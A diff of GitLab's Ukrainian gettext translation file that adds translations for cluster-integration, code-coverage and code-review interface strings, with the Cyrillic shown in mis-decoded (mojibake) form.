msgstr "ÐÐ²Ñ‚ÐµÐ½Ñ‚Ð¸Ñ„Ñ–ÐºÐ°Ñ†Ñ–Ñ Ñ‡ÐµÑ€ÐµÐ· Amazon Web Services"
msgid "ClusterIntegration|Authentication Error"
-msgstr ""
+msgstr "Помилка автентифікації"
msgid "ClusterIntegration|Base domain"
msgstr "ОÑновний домен"
@@ -7786,19 +7956,19 @@ msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr "Ðабір Ñертифікатів (формат PEM)"
msgid "ClusterIntegration|Check your CA certificate"
-msgstr ""
+msgstr "Перевірте Ñвій Ñертифікат центру Ñертифікації"
msgid "ClusterIntegration|Check your cluster status"
-msgstr ""
+msgstr "Перевірте ÑÑ‚Ð°Ñ‚ÑƒÑ Ð²Ð°ÑˆÐ¾Ð³Ð¾ клаÑтера"
msgid "ClusterIntegration|Check your token"
-msgstr ""
+msgstr "Перевірте Ñвій токен"
msgid "ClusterIntegration|Choose the %{linkStart}security group%{linkEnd} to apply to the EKS-managed Elastic Network Interfaces that are created in your worker node subnets."
-msgstr ""
+msgstr "Оберіть %{linkStart}групу безпеки%{linkEnd} Ð´Ð»Ñ Ð·Ð°ÑтоÑÑƒÐ²Ð°Ð½Ð½Ñ Ð´Ð¾ Elastic Network Interfaces, керованих EKS, Ñ– Ñтворених в підмережах ваших робочих вузлів."
msgid "ClusterIntegration|Choose the %{linkStart}subnets %{linkEnd} in your VPC where your worker nodes will run."
-msgstr ""
+msgstr "Оберіть %{linkStart}підмережі%{linkEnd} вашої VPC де будуть запуÑкатиÑÑ Ð²Ð°ÑˆÑ– робочі вузли."
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
@@ -7813,7 +7983,7 @@ msgid "ClusterIntegration|Clear the local cache of namespace and service account
msgstr ""
msgid "ClusterIntegration|Cluster Region"
-msgstr ""
+msgstr "Регіон клаÑтера"
msgid "ClusterIntegration|Cluster management project"
msgstr "Проєкт ÑƒÐ¿Ñ€Ð°Ð²Ð»Ñ–Ð½Ð½Ñ ÐºÐ»Ð°Ñтером"
@@ -7822,20 +7992,23 @@ msgid "ClusterIntegration|Cluster name is required."
msgstr "Ім'Ñ ÐºÐ»Ð°Ñтера Ñ” обов'Ñзковим."
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
+msgstr "КлаÑтери викориÑтовуютьÑÑ ÑˆÐ»Ñхом вибору найближчого предка з підходÑщою доÑтупніÑÑ‚ÑŽ Ð´Ð»Ñ Ñередовищ. Ðаприклад, проєктні клаÑтери перекривають групові клаÑтери. %{linkStart}Більше інформації%{linkEnd}"
msgid "ClusterIntegration|Connect cluster with certificate"
-msgstr ""
+msgstr "Підключити клаÑтер до Ñертифіката"
msgid "ClusterIntegration|Connect existing cluster"
+msgstr "Підключити Ñ–Ñнуючий клаÑтер"
+
+msgid "ClusterIntegration|Connect with a certificate"
msgstr ""
-msgid "ClusterIntegration|Connection Error"
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
msgstr ""
+msgid "ClusterIntegration|Connection Error"
+msgstr "Помилка підключеннÑ"
+
msgid "ClusterIntegration|Copy API URL"
msgstr "Скопіювати API URL"
@@ -7858,7 +8031,7 @@ msgid "ClusterIntegration|Could not load instance types"
msgstr "Ðе вдалоÑÑ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶Ð¸Ñ‚Ð¸ типи інÑтанÑів"
msgid "ClusterIntegration|Could not load networks"
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶Ð¸Ñ‚Ð¸ мережі"
msgid "ClusterIntegration|Could not load security groups for the selected VPC"
msgstr "Ðе вдалоÑÑ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶Ð¸Ñ‚Ð¸ групи безпеки Ð´Ð»Ñ Ð²Ð¸Ð±Ñ€Ð°Ð½Ð¾Ñ— VPC"
@@ -7867,7 +8040,7 @@ msgid "ClusterIntegration|Could not load subnets for the selected VPC"
msgstr "Ðе вдалоÑÑ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶Ð¸Ñ‚Ð¸ підмережі Ð´Ð»Ñ Ð²Ð¸Ð±Ñ€Ð°Ð½Ð¾Ñ— VPC"
msgid "ClusterIntegration|Could not load subnetworks"
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶Ð¸Ñ‚Ð¸ підмережі"
msgid "ClusterIntegration|Create Kubernetes cluster"
msgstr "Створити Kubernetes-клаÑтер"
@@ -7888,7 +8061,7 @@ msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr "Ð¡Ñ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Kubernetes-клаÑтера"
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
-msgstr ""
+msgstr "ВидалÑÑ” вÑÑ– реÑурÑи GitLab, приєднані до цього клаÑтера під Ñ‡Ð°Ñ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ"
msgid "ClusterIntegration|Deploy each environment to its own namespace. Otherwise, environments within a project share a project-wide namespace. Note that anyone who can trigger a deployment of a namespace can read its secrets. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr "Розгортати кожне Ñередовище в Ñвій влаÑний проÑÑ‚Ñ–Ñ€ імен. Ð’ іншому випадку Ñередовища в межах проєкту поділÑÑŽÑ‚ÑŒ проÑÑ‚Ñ–Ñ€ імен по вÑьому проєкту. Зверніть увагу, що кожен, хто може викликати Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ð¿Ñ€Ð¾Ñтору імен може читати його Ñекрети. Якщо змінено, Ñ–Ñнуючі Ñередовища будуть викориÑтовувати Ñвої поточні проÑтори імен допоки кеш клаÑтерів не буде очищений."
@@ -7900,16 +8073,16 @@ msgid "ClusterIntegration|Did you know?"
msgstr "Чи знаєте ви?"
msgid "ClusterIntegration|Elastic Kubernetes Service"
-msgstr ""
+msgstr "Elastic Kubernetes СервіÑ"
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
-msgstr ""
+msgstr "Увімкнути Cloud Run Ð´Ð»Ñ Anthos"
msgid "ClusterIntegration|Enable Elastic Stack integration"
-msgstr ""
+msgstr "Увімкнути інтеграцію з Elastic Stack"
msgid "ClusterIntegration|Enable Prometheus integration"
-msgstr ""
+msgstr "Увімкнути інтеграцію Prometheus"
msgid "ClusterIntegration|Enable or disable GitLab's connection to your Kubernetes cluster."
msgstr "Увімкніть або вимкніть Ð¿Ñ–Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð½Ñ GitLab до клаÑтера Kubernetes."
@@ -7918,7 +8091,7 @@ msgid "ClusterIntegration|Enable this setting if using role-based access control
msgstr "Увімкніть цей параметр, Ñкщо викориÑтовуєтьÑÑ Ñ€Ð¾Ð»ÑŒÐ¾Ð²Ðµ ÐºÐµÑ€ÑƒÐ²Ð°Ð½Ð½Ñ Ð´Ð¾Ñтупом (RBAC)."
msgid "ClusterIntegration|Enter new Service Token"
-msgstr ""
+msgstr "Введіть новий токен ÑервіÑа"
msgid "ClusterIntegration|Enter the details for your Amazon EKS Kubernetes cluster"
msgstr "Введіть параметри вашого Amazon EKS Kubernetes-клаÑтера"
@@ -7959,14 +8132,11 @@ msgstr "ÐžÑ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñ–Ð²"
msgid "ClusterIntegration|Fetching zones"
msgstr "ÐžÑ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð·Ð¾Ð½"
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "Ð†Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ñ–Ñ Ð· GitLab"
msgid "ClusterIntegration|GitLab failed to authenticate."
-msgstr ""
+msgstr "GitLab не вдалоÑÑ Ð°Ð²Ñ‚ÐµÐ½Ñ‚Ð¸Ñ„Ñ–ÐºÑƒÐ²Ð°Ñ‚Ð¸."
msgid "ClusterIntegration|GitLab failed to connect to the cluster."
msgstr ""
@@ -8007,20 +8177,14 @@ msgstr "КлаÑтер інÑтанÑу"
msgid "ClusterIntegration|Instance type"
msgstr "Тип інÑтанÑу"
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
-msgstr ""
+msgstr "Ð†Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ñ–Ñ Ð²Ð¸Ð¼ÐºÐ½ÐµÐ½Ð°"
msgid "ClusterIntegration|Integration enabled"
-msgstr ""
+msgstr "Ð†Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ñ–Ñ ÑƒÐ²Ñ–Ð¼ÐºÐ½ÐµÐ½Ð°"
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
-msgstr ""
+msgstr "Інтеграції дозволÑÑŽÑ‚ÑŒ вам викориÑтовувати заÑтоÑунки, вÑтановлені у вашому клаÑтері Ñк чаÑтину робочого процеÑу GitLab."
msgid "ClusterIntegration|Key pair name"
msgstr "Ðазва пари ключів"
@@ -8034,9 +8198,6 @@ msgstr "Ð†Ð¼â€™Ñ Kubernetes-клаÑтера"
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr "КлаÑтер Kubernetes було уÑпішно Ñтворено."
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr "Kubernetes-клаÑтери дозволÑÑŽÑ‚ÑŒ вам викориÑтовувати Review Apps, розгортати ваші заÑтоÑунки, запуÑкати конвеєри Ñ– багато іншого проÑтим ÑпоÑобом."
-
msgid "ClusterIntegration|Kubernetes version"
msgstr "ВерÑÑ–Ñ Kubernetes"
@@ -8080,22 +8241,22 @@ msgid "ClusterIntegration|Loading subnets"
msgstr "Ð—Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð¿Ñ–Ð´Ð¼ÐµÑ€ÐµÐ¶"
msgid "ClusterIntegration|Loading subnetworks"
-msgstr ""
+msgstr "Ð—Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð¿Ñ–Ð´Ð¼ÐµÑ€ÐµÐ¶"
msgid "ClusterIntegration|Machine type"
msgstr "Тип машини"
msgid "ClusterIntegration|Make sure your API endpoint is correct"
-msgstr ""
+msgstr "ПереконайтеÑÑ, що кінцева точка API вірна"
msgid "ClusterIntegration|Make sure your account %{link_to_requirements} to create Kubernetes clusters"
msgstr "ВпевнітьÑÑ, що ваш обліковий Ð·Ð°Ð¿Ð¸Ñ %{link_to_requirements} Ð´Ð»Ñ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Kubernetes-клаÑтерів"
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
-msgstr ""
+msgstr "Керуйте вашим Kubernetes-клаÑтером за допомогою %{provider_link}"
msgid "ClusterIntegration|Namespace per environment"
-msgstr ""
+msgstr "ПроÑÑ‚Ñ–Ñ€ імен в Ñередовищі"
msgid "ClusterIntegration|No IAM Roles found"
msgstr "Ролі IAM не найдені"
@@ -8113,10 +8274,10 @@ msgid "ClusterIntegration|No machine types matched your search"
msgstr "Жоден тип машин не відповідає вашому пошуку"
msgid "ClusterIntegration|No networks found"
-msgstr ""
+msgstr "Ðе знайдено мереж"
msgid "ClusterIntegration|No projects found"
-msgstr "Проектів не знайдено"
+msgstr "Проєктів не знайдено"
msgid "ClusterIntegration|No projects matched your search"
msgstr "Жоден проєкт не відповідає вашому пошуку"
@@ -8128,13 +8289,13 @@ msgid "ClusterIntegration|No subnet found"
msgstr "Ðе знайдено підмереж"
msgid "ClusterIntegration|No subnetworks found"
-msgstr ""
+msgstr "Підмережі не знайдено"
msgid "ClusterIntegration|No zones matched your search"
msgstr "Жодна зона не відповідає вашому пошуку"
msgid "ClusterIntegration|Node calculations use the Kubernetes Metrics API. Make sure your cluster has metrics installed"
-msgstr ""
+msgstr "ОбчиÑÐ»ÐµÐ½Ð½Ñ Ð²ÑƒÐ·Ð»Ñ–Ð² викориÑтовує Kubernetes Metrics API. ПереконайтеÑÑ, що у вашому клаÑтері вÑтановлено метрики"
msgid "ClusterIntegration|Number of nodes"
msgstr "КількіÑÑ‚ÑŒ вузлів"
@@ -8143,7 +8304,7 @@ msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr "КількіÑÑ‚ÑŒ вузлів має бути чиÑлом."
msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
-msgstr ""
+msgstr "Введіть інформацію про доÑтуп до вашого клаÑтера Kubernetes. Якщо вам потрібна допомога, ви можете прочитати нашу %{linkStart}документацію%{linkEnd} про Kubernetes"
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr "Будь-лаÑка впевнітьÑÑ, що ваш обліковий Ð·Ð°Ð¿Ð¸Ñ Google задовольнÑÑ” наÑтупним вимогам:"
@@ -8167,7 +8328,7 @@ msgid "ClusterIntegration|RBAC-enabled cluster"
msgstr "КлаÑтер з підтримкою RBAC"
msgid "ClusterIntegration|Read our %{linkStart}help page%{linkEnd} on Kubernetes cluster integration."
-msgstr ""
+msgstr "Прочитайте нашу %{linkStart}Ñторінку допомоги%{linkEnd} про інтеграцію із Kubernetes-клаÑтером."
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr "ПереглÑньте %{link_start}Ñторінку довідки%{link_end} по інтеграції з Kubernetes клаÑтером."
@@ -8236,7 +8397,7 @@ msgid "ClusterIntegration|See and edit the details for your Kubernetes cluster"
msgstr "ПереглÑнути та редагувати параметри вашого Kubernetes-клаÑтера"
msgid "ClusterIntegration|Select a VPC"
-msgstr ""
+msgstr "Виберіть VPC"
msgid "ClusterIntegration|Select a VPC to choose a security group"
msgstr "Виберіть VPC Ð´Ð»Ñ Ð²Ð¸Ð±Ð¾Ñ€Ñƒ групи безпеки"
@@ -8245,10 +8406,10 @@ msgid "ClusterIntegration|Select a VPC to choose a subnet"
msgstr "Виберіть VPC Ð´Ð»Ñ Ð²Ð¸Ð±Ð¾Ñ€Ñƒ підмережі"
msgid "ClusterIntegration|Select a VPC to use for your EKS Cluster resources. To use a new VPC, first create one on %{linkStart}Amazon Web Services %{linkEnd}."
-msgstr ""
+msgstr "Виберіть VPC Ð´Ð»Ñ Ð²Ð¸ÐºÐ¾Ñ€Ð¸ÑÑ‚Ð°Ð½Ð½Ñ Ð´Ð»Ñ Ð²Ð°ÑˆÐ¸Ñ… реÑурÑів EKS клаÑтеру. Ð”Ð»Ñ Ð²Ð¸ÐºÐ¾Ñ€Ð¸ÑÑ‚Ð°Ð½Ð½Ñ Ð½Ð¾Ð²Ð¾Ñ— VPC, Ñпочатку Ñтворіть Ñ—Ñ— на %{linkStart}Amazon Web Services %{linkEnd}."
msgid "ClusterIntegration|Select a network"
-msgstr ""
+msgstr "Виберіть мережу"
msgid "ClusterIntegration|Select a network to choose a subnetwork"
msgstr "Виберіть мережу Ð´Ð»Ñ Ð²Ð¸Ð±Ð¾Ñ€Ñƒ підмережі"
@@ -8260,22 +8421,22 @@ msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr "Виберіть регіон Ð´Ð»Ñ Ð²Ð¸Ð±Ð¾Ñ€Ñƒ VPC"
msgid "ClusterIntegration|Select a security group"
-msgstr ""
+msgstr "Вибрати групу безпеки"
msgid "ClusterIntegration|Select a subnet"
-msgstr ""
+msgstr "Виберіть підмережу"
msgid "ClusterIntegration|Select a subnetwork"
-msgstr ""
+msgstr "Виберіть підмережу"
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr "Виберіть зону Ð´Ð»Ñ Ð²Ð¸Ð±Ð¾Ñ€Ñƒ мережі"
msgid "ClusterIntegration|Select an instance type"
-msgstr ""
+msgstr "Виберіть тип інÑтанÑа"
msgid "ClusterIntegration|Select key pair"
-msgstr ""
+msgstr "Вибрати пару ключів"
msgid "ClusterIntegration|Select machine type"
msgstr "Вибрати тип машин"
@@ -8290,10 +8451,10 @@ msgid "ClusterIntegration|Select project to choose zone"
msgstr "Виберіть проєкт, щоб вибрати зону"
msgid "ClusterIntegration|Select service role"
-msgstr ""
+msgstr "Виберіть роль ÑервіÑу"
msgid "ClusterIntegration|Select the key pair name that will be used to create EC2 nodes. To use a new key pair name, first create one on %{linkStart}Amazon Web Services%{linkEnd}."
-msgstr ""
+msgstr "Виберіть назву пари ключів, Ñка буде викориÑтовуватиÑÑ Ð´Ð»Ñ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð²ÑƒÐ·Ð»Ñ–Ð² EC2. Ð”Ð»Ñ Ð²Ð¸ÐºÐ¾Ñ€Ð¸ÑÑ‚Ð°Ð½Ð½Ñ Ð½Ð¾Ð²Ð¾Ð³Ð¾ імені пари ключів, Ñпочатку Ñтворіть його у %{linkStart}Amazon Web Services%{linkEnd}."
msgid "ClusterIntegration|Select the region you want to create the new cluster in. Make sure you have access to this region for your role to be able to authenticate. If no region is selected, we will use %{codeStart}DEFAULT_REGION%{codeEnd}. Learn more about %{linkStart}Regions%{linkEnd}."
msgstr ""
@@ -8323,7 +8484,7 @@ msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cl
msgstr "ЩоÑÑŒ пішло не так під Ñ‡Ð°Ñ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð²Ð°ÑˆÐ¾Ð³Ð¾ клаÑтера Kubernetes"
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
-msgstr ""
+msgstr "Ð—Ð°Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ Ð´Ð¾Ð¼ÐµÐ½Ñƒ дозволить вам викориÑтовувати Ñтадії Auto Review Apps та Auto Deploy Ð´Ð»Ñ %{linkStart}Auto DevOps.%{linkEnd} Домен повинен мати шаблон DNS, що відповідає домену . "
msgid "ClusterIntegration|Subnets"
msgstr "Підмережі"
@@ -8337,17 +8498,20 @@ msgstr "Сертифікат Kubernetes, що викориÑтовуєтьÑÑ Ð
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr "URL-адреÑа, що викориÑтовуєтьÑÑ Ð´Ð»Ñ Ð´Ð¾Ñтупу до Kubernetes API."
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
msgid "ClusterIntegration|The region the new cluster will be created in. You must reauthenticate to change regions."
-msgstr ""
+msgstr "Регіон, в Ñкому буде Ñтворено новий клаÑтер. Ви повинні авторизуватиÑÑ Ð´Ð»Ñ Ð·Ð¼Ñ–Ð½Ð¸ регіонів."
msgid "ClusterIntegration|There was a problem authenticating with your cluster. Please ensure your CA Certificate and Token are valid."
msgstr "Проблема автентифікації у вашому клаÑтері. Будь лаÑка, переконайтеÑÑ, що Ñертифікат CA та токен Ñ” правильними."
msgid "ClusterIntegration|There was an HTTP error when connecting to your cluster."
-msgstr ""
+msgstr "Помилка HTTP при підключенні до вашого клаÑтера."
msgid "ClusterIntegration|This account must have permissions to create a Kubernetes cluster in the %{link_to_container_project} specified below"
msgstr "Цей обліковий Ð·Ð°Ð¿Ð¸Ñ Ð¿Ð¾Ð²Ð¸Ð½ÐµÐ½ мати наÑтупні права Ð´Ð»Ñ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Kubernetes-клаÑтера в %{link_to_container_project}"
@@ -8362,13 +8526,13 @@ msgid "ClusterIntegration|This option will allow you to install applications on
msgstr "Цей параметр дозволить вам вÑтановлювати заÑтоÑунки на клаÑтери RBAC."
msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
-msgstr ""
+msgstr "Ð”Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ проєкту вимкнено білінг. Щоб Ñтворити клаÑтер, %{linkToBillingStart}увімкніть білінг%{linkToBillingEnd} Ñ– Ñпробуйте знову."
msgid "ClusterIntegration|This will permanently delete the following resources:"
-msgstr ""
+msgstr "Це оÑтаточно видалить такі реÑурÑи:"
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
-msgstr ""
+msgstr "Щоб Ñтворити клаÑтер, Ñпочатку Ñтворіть проєкт на %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr "Щоб видалити інтеграцію та реÑурÑи, введіть %{clusterName} Ð´Ð»Ñ Ð¿Ñ–Ð´Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ:"
@@ -8377,20 +8541,23 @@ msgid "ClusterIntegration|To remove your integration, type %{clusterName} to con
msgstr "Щоб видалити Ñвою інтеграцію, введіть %{clusterName} Ð´Ð»Ñ Ð¿Ñ–Ð´Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ:"
msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
-msgstr ""
+msgstr "Ð”Ð»Ñ Ð²Ð¸ÐºÐ¾Ñ€Ð¸ÑÑ‚Ð°Ð½Ð½Ñ Ð½Ð¾Ð²Ð¾Ð³Ð¾ проєкту, Ñпочатку Ñтворіть його на %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgid "ClusterIntegration|Troubleshooting tips:"
-msgstr ""
+msgstr "Поради щодо уÑÑƒÐ½ÐµÐ½Ð½Ñ Ð½ÐµÑправноÑтей:"
msgid "ClusterIntegration|Unable to Authenticate"
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ð°Ð²Ñ‚ÐµÐ½Ñ‚Ð¸Ñ„Ñ–ÐºÑƒÐ²Ð°Ñ‚Ð¸"
msgid "ClusterIntegration|Unable to Connect"
-msgstr ""
+msgstr "Ðе вдаєтьÑÑ Ð¿Ñ–Ð´ÐºÐ»ÑŽÑ‡Ð¸Ñ‚Ð¸ÑÑ"
msgid "ClusterIntegration|Unknown Error"
msgstr "Ðевідома помилка"
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr "ВикориÑтовує Ñ€Ð¾Ð·ÑˆÐ¸Ñ€ÐµÐ½Ð½Ñ Ð´Ð»Ñ Cloud Run, Istio та HTTP баланÑувальник Ð½Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ клаÑтеру."
@@ -8404,7 +8571,7 @@ msgid "ClusterIntegration|We could not verify that one of your projects on GCP h
msgstr "Ми не змогли перевірити, що один із ваших проєктів в GCP має ввімкнений білінг. Будь лаÑка, Ñпробуйте ще раз."
msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
-msgstr ""
+msgstr "Ðам не вдалоÑÑ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ñ‚Ð¸ жодного проєкту. ПереконайтеÑÑ, що у Ð²Ð°Ñ Ñ” проєкт на %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr "За допомогою підключеного до цього проєкту Kubernetes-клаÑтера, ви можете викориÑтовувати Review Apps, розгортати ваші проєкти, запуÑкати конвеєри збірки тощо."
@@ -8419,7 +8586,7 @@ msgid "ClusterIntegration|You must grant access to your organization’s AWS res
msgstr "Щоб Ñтворити новий клаÑтер EKS ви повинні надати доÑтуп до реÑурÑів AWS вашої організації. Ð”Ð»Ñ Ð½Ð°Ð´Ð°Ð½Ð½Ñ Ð´Ð¾Ñтупу Ñтворіть роль Ð´Ð»Ñ Ð¿Ñ€Ð¾Ð²Ñ–Ð·Ñ–ÑŽÐ²Ð°Ð½Ð½Ñ Ð·Ð° допомогою облікового запиÑу та external ID, що наведені нижче Ñ– надайте нам ARN."
msgid "ClusterIntegration|You should select at least two subnets"
-msgstr ""
+msgstr "Ви повинні вибрати принаймні дві підмережі"
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr "Ваш обліковий Ð·Ð°Ð¿Ð¸Ñ Ð¿Ð¾Ð²Ð¸Ð½ÐµÐ½ мати %{link_to_kubernetes_engine}"
@@ -8443,22 +8610,19 @@ msgid "ClusterIntegration|sign up"
msgstr "реєÑтрації"
msgid "Clusters|An error occurred while loading clusters"
-msgstr ""
+msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при завантаженні клаÑтерів"
msgid "Code"
msgstr "Код"
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
-msgstr ""
+msgstr "ÐŸÐ¾ÐºÑ€Ð¸Ñ‚Ñ‚Ñ ÐºÐ¾Ð´Ñƒ: %{coveragePercentage}%{percentSymbol}"
msgid "Code Coverage| Empty code coverage data"
-msgstr ""
+msgstr "Ðемає даних про Ð¿Ð¾ÐºÑ€Ð¸Ñ‚Ñ‚Ñ ÐºÐ¾Ð´Ñƒ"
msgid "Code Coverage|Couldn't fetch the code coverage data"
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ñ‚Ð¸ дані про Ð¿Ð¾ÐºÑ€Ð¸Ñ‚Ñ‚Ñ ÐºÐ¾Ð´Ñƒ"
msgid "Code Owner"
msgstr "ВлаÑник коду"
@@ -8473,10 +8637,10 @@ msgid "Code Review"
msgstr "Перевірка коду"
msgid "Code Review Analytics displays a table of open merge requests considered to be in code review. There are currently no merge requests in review for this project and/or filters."
-msgstr ""
+msgstr "Ðналітика перевірки коду відображає таблицю відкритих запитів на злиттÑ, Ñкі знаходÑÑ‚ÑŒÑÑ Ð½Ð° Ñтадії перевірки коду. Ðаразі Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ проєкту та/або фільтрів немає запитів на злиттÑ, що перевірÑÑŽÑ‚ÑŒÑÑ."
msgid "Code coverage statistics for %{ref} %{start_date} - %{end_date}"
-msgstr ""
+msgstr "СтатиÑтика Ð¿Ð¾ÐºÑ€Ð¸Ñ‚Ñ‚Ñ ÐºÐ¾Ð´Ñƒ Ð´Ð»Ñ %{ref} %{start_date} - %{end_date}"
msgid "Code owner approval is required"
msgstr "Потрібне Ð·Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð²Ð»Ð°Ñником коду"
@@ -8485,22 +8649,25 @@ msgid "Code owners"
msgstr "ВлаÑники коду"
msgid "Code review"
+msgstr "ПереглÑд коду"
+
+msgid "Code snippet"
msgstr ""
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
msgid "CodeIntelligence|This is the definition"
-msgstr ""
+msgstr "Це визначеннÑ"
msgid "CodeNavigation|No references found"
-msgstr ""
+msgstr "Ðемає поÑилань"
msgid "CodeOwner|Pattern"
msgstr "Шаблон"
msgid "CodeQuality|New code quality degradations on this line"
-msgstr ""
+msgstr "Ðові Ð¿Ð¾Ð³Ñ–Ñ€ÑˆÐµÐ½Ð½Ñ ÑкоÑÑ‚Ñ– коду в цьому Ñ€Ñдку"
msgid "Cohorts|Inactive users"
msgstr "Ðеактивні кориÑтувачі"
@@ -8530,7 +8697,7 @@ msgid "Collapse approvers"
msgstr "Згорнути ÑпиÑок затверджуючих оÑіб"
msgid "Collapse issues"
-msgstr ""
+msgstr "Згорнути задачі"
msgid "Collapse milestones"
msgstr "Згорнути етапи"
@@ -8539,28 +8706,28 @@ msgid "Collapse replies"
msgstr "Згорнути відповіді"
msgid "Collapse settings section"
-msgstr ""
+msgstr "Згорнути розділ налаштувань"
msgid "Collapse sidebar"
msgstr "Згорнути панель"
msgid "Collapses this file (only for you) until it’s changed again."
-msgstr ""
+msgstr "Згортає цей файл (тільки Ð´Ð»Ñ Ð²Ð°Ñ), доки його знову не буде змінено."
msgid "Collector hostname"
msgstr "Ім'Ñ Ñ…Ð¾Ñта колектора"
msgid "Colorize messages"
-msgstr ""
+msgstr "Розфарбувати повідомленнÑ"
msgid "ComboSearch is not defined"
msgstr "ComboSearch не визначено"
msgid "Comma-separated list of email addresses."
-msgstr ""
